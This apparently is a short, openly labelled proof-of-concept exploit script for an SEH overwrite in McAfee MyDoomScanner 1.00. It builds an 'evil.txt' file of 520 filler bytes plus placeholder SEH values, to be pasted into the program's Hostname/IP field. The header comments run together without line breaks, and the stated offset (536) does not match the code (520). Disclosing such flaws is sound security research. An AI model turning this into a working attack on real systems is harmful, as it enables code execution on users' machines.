#!/usr/bin/python# Exploit Title : MyDoomScanner1.00 Hostname/IP Field SEH Overwrite POC# Discovery by: Anurag Srivastava# Email : anurag.srivastava@pyramidcyber.com# Discovery Date: 17/08/2017# Software Link : https://www.mcafee.com/in/downloads/free-tools/mydoomscanner.aspx# Tested Version: 1.00# Vulnerability Type: SEH Overwrite POC# Tested on OS: Windows XP # Steps to Reproduce: Copy contents of evil.txt file and paste in the Hostname/IP Field. Press ->###########################################################################################-----------------------------------NOTES----------------------------------------------############################################################################################SEH chain of main thread#AddressSE handler#0012FAF8 43434343#42424242 *** CORRUPT ENTRY ***# Offset to the SEH Frame is 536
buffer = "A"*520
# Address of the Next SEH Frame
nseh = "B"*4
# Address to the Handler Code
seh = "C"*4
f = open("evil.txt","wb")
f.write(buffer+nseh+seh)
f.close()